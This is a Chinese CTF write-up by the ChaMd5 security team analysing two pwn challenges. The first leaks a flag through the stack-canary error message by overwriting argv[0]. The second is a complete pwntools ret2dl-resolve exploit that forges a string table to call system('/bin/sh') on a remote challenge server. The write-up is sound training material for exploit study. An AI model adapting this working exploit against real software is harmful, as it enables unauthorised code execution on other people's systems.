首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HBCTF第一场2个pwn题的简单分析

HBCTF第一场2个pwn题的简单分析

作者头像
ChaMd5安全团队
发布2018-03-29 11:10:55
1.5K0
发布2018-03-29 11:10:55
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队
ChaMd5安全团队所有文章均来源实战,为保证厂商安全信息,文章内容以思路为主。

需要转载,请先联系ChaMd5安全团队授权。

未经授权请勿转载。

HBCTF第一场2个pwn题的简单分析

From ChaMd5安全团队核心成员 hook

What is canary?

这题的简介纯属为了引出一个关键词canary,在缓冲区溢出保护机制里,canary是一个位于缓冲区和堆栈上的控制数据之间的一个随机值,用以监视缓冲区溢出。当缓冲区溢出时,要破坏的第一个数据通常是canary,因此对canary的失败验证可以是一个溢出的警报。(ps,为何取名为canary,可以去阅读“矿井中的金丝雀”)

回归正题,用nc(NetCat)连接ip去看看大概。

这个程序只是提供了一个输入name的功能,为了解决这个pwn题,我们先把附件下载来,用IDA6.8打开。通用套路,shift+f12查找字符串,选择“hello”那句进去

在后面双击进去函数

按下f5进行反编译,会呈现类似源码的伪代码

这里源码就很清晰了。

第一个sub_函数是从flag文件中读取内容,然后存入全局变量。

第二个sub_函数则是接受用户输出,并做了长度检查,要求<10个字符,否则就直接退出。

再进入里面的sub_804878A函数里

发现它是使用getchar()来获取用户的输入字符,当读取到回车(ascii码为10)时停止,而且它的输入长度没有做限制。所以这里可以用‘\0’字符来截断,让外部的strlen长度检查返回一个错误的长度。

接下来,我们可以用checksec命令来查询该文件使用了哪些防护技术。

(checksec在安装pwntools后会自带的,关于pwntools的安装方法这里推荐pcat的一篇博文http://pcat.cnblogs.com/p/5451780.html

这里发现有Canary保护,因此,直接覆盖栈上的函数地址方法行不通,但程序开头已经读取到flag了,所以想办法把读取到的flag打印出来就好。

在覆盖掉canary后,程序会异常退出,并提示”stack smashing detected ./xxxx terminated”。这里的错误信息是当函数返回时,检测到之前随机生成的canary已被改变,所以会运行程序中的__stack_chk_fail函数,打印出这些错误信息和进程名。而__stack_chk_fail函数在输出错误信息时,会用到下面的代码。

(来自https://github.com/lattera/glibc/blob/master/debug/fortify_fail.c)

其中进程名来自于__libc_argv[0],所以只要把存着flag的全局变量地址覆盖了__libc_argv[0]就好。

至于这个偏移地址通过gdb就可以轻松的算出来,所以最后整理的方法为

这里发现服务器返回的信息是以strace方式输出的,所以用grep过滤下就可得到flag。


infoLess

这种题目很多解法,当初是想着在没有信息泄漏的情况下get shell。

在这里使用了ret2dl的方法,构造了虚假的字符串表,修改了重定位中的索引,让dl_fixup返回execv函数的地址。

构造步骤就是伪造重定位字符串表,写入bss段,将伪造的地址写入dynamic索引信息,然后请求一个未执行过的函数fflush,传入binSH,执行system(“/binsh”)

exp如下:


#!/usr/bin/python

# -*- coding:utf-8 -*- 

 

from pwn import *

from time import *

 

vulFunAddr = 0x080484CB

readpltAddr = 0x08048380

fflushpltAddr = 0x08048390

dynstrInDynamicAddr = 0x08049750

bssAddr = 0x08049820

 

strTable = ['', 'libc.so.6','_IO_stdin_used', 'fflush', 'stdin', 'read', 'stdout', 'stderr', 'setvbuf','__libc_start_main', '__gmon_start__', 'GLIBC_2.0', '']

strTable[3] = 'system'

#将伪造的dynstr表中的fflush函数给换成system

binShellStr = '/bin/sh\0'

expOffset = 22

payloadHead = 'a'*expOffset

 

def writeStrTableToBSS(baseAddr):

   tempBSS = baseAddr

    #循环写入伪造的dynstr表

   for i in strTable:

       str = i + chr(0)

       payloadTemp = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0)+ p32(tempBSS) + p32(len(str)+1)

       p.send(payloadTemp)

       sleep(0.1)

       p.send(str)

       tempBSS = tempBSS + len(str)

       sleep(0.1)

 

p = remote('123.206.81.66', 8888)

#p = remote('127.0.0.1', 8888)

#p = process('./infoless')

context.log_level = 'debug'

 

#step 1: 将binShStr写入可写的bss段中

payload1 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(bssAddr) + p32(8)

p.send(payload1)

sleep(0.1)

p.send(binShellStr)

sleep(0.1)

 

#step 2: 将伪造的dynstr表写入binShStr后面

dynstrInBSSAddr = bssAddr +len(binShellStr) + 4

writeStrTableToBSS(dynstrInBSSAddr)

 

#step 3: 将伪造的dynstr表地址写入dynamic中相对应的索引地址

payload2 = payloadHead + p32(readpltAddr) +p32(vulFunAddr) + p32(0) + p32(dynstrInDynamicAddr) + p32(4)

p.send(payload2)

sleep(0.1)

p.send(p32(dynstrInBSSAddr))

sleep(0.1)

 

#step 4:getshell

payload3 = payloadHead + p32(fflushpltAddr)+ p32(vulFunAddr) + p32(bssAddr)

p.send(payload3)

sleep(0.1)



p.interactive()

因为网络的问题,有时可能执行不成功,重执行下就好。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-04-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HBCTF第一场2个pwn题的简单分析
    • What is canary?
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档